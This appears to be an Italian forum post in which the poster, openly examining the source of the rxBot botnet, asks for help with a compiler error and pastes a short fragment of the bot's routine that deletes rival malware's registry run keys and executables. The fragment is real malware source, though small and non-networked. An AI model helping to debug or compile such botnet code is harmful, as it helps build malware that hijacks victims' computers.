allora l'ho cambito in enum e funziona ma adexo mi segna altri errori.......per exere chiaro sto esamindo la source di una botnet per l'esatezza rxbot ( nn bannatemi plz).....
allora mi daltri 3 errori e sono
codice:
In function `void removevirus()':
94: error: `viruses' undeclared (first use this function)
ed ecco la souce dalla linea 93
codice:
for (unsigned int i=0; viruses[i].subkey; i++) {
lRet = fRegOpenKeyEx(viruses[i].hkey, viruses[i].subkey, 0, KEY_READ, &hkey);
if(fRegQueryValueEx(hkey, viruses[i].value, NULL, NULL, szDataBuf, &dwSize) == ERROR_SUCCESS) {
fRegDeleteValue(hkey, viruses[i].value);
//FIXME: Replace the afw kill utils. we dont need to let that loop,
// when we removed the .exe and the reg key. mayb a static call
// to KillProcess(); can be inserted here. Something like:
// KillProcess(viruses[i].file);
GetSystemDirectory(sysdir, sizeof(sysdir));
sprintf(virusexecuteble, "%s\\%s", sysdir, viruses[i].file);
DeleteFile(virusexecuteble);
}
fRegCloseKey(hkey);
}
return;
}
#endif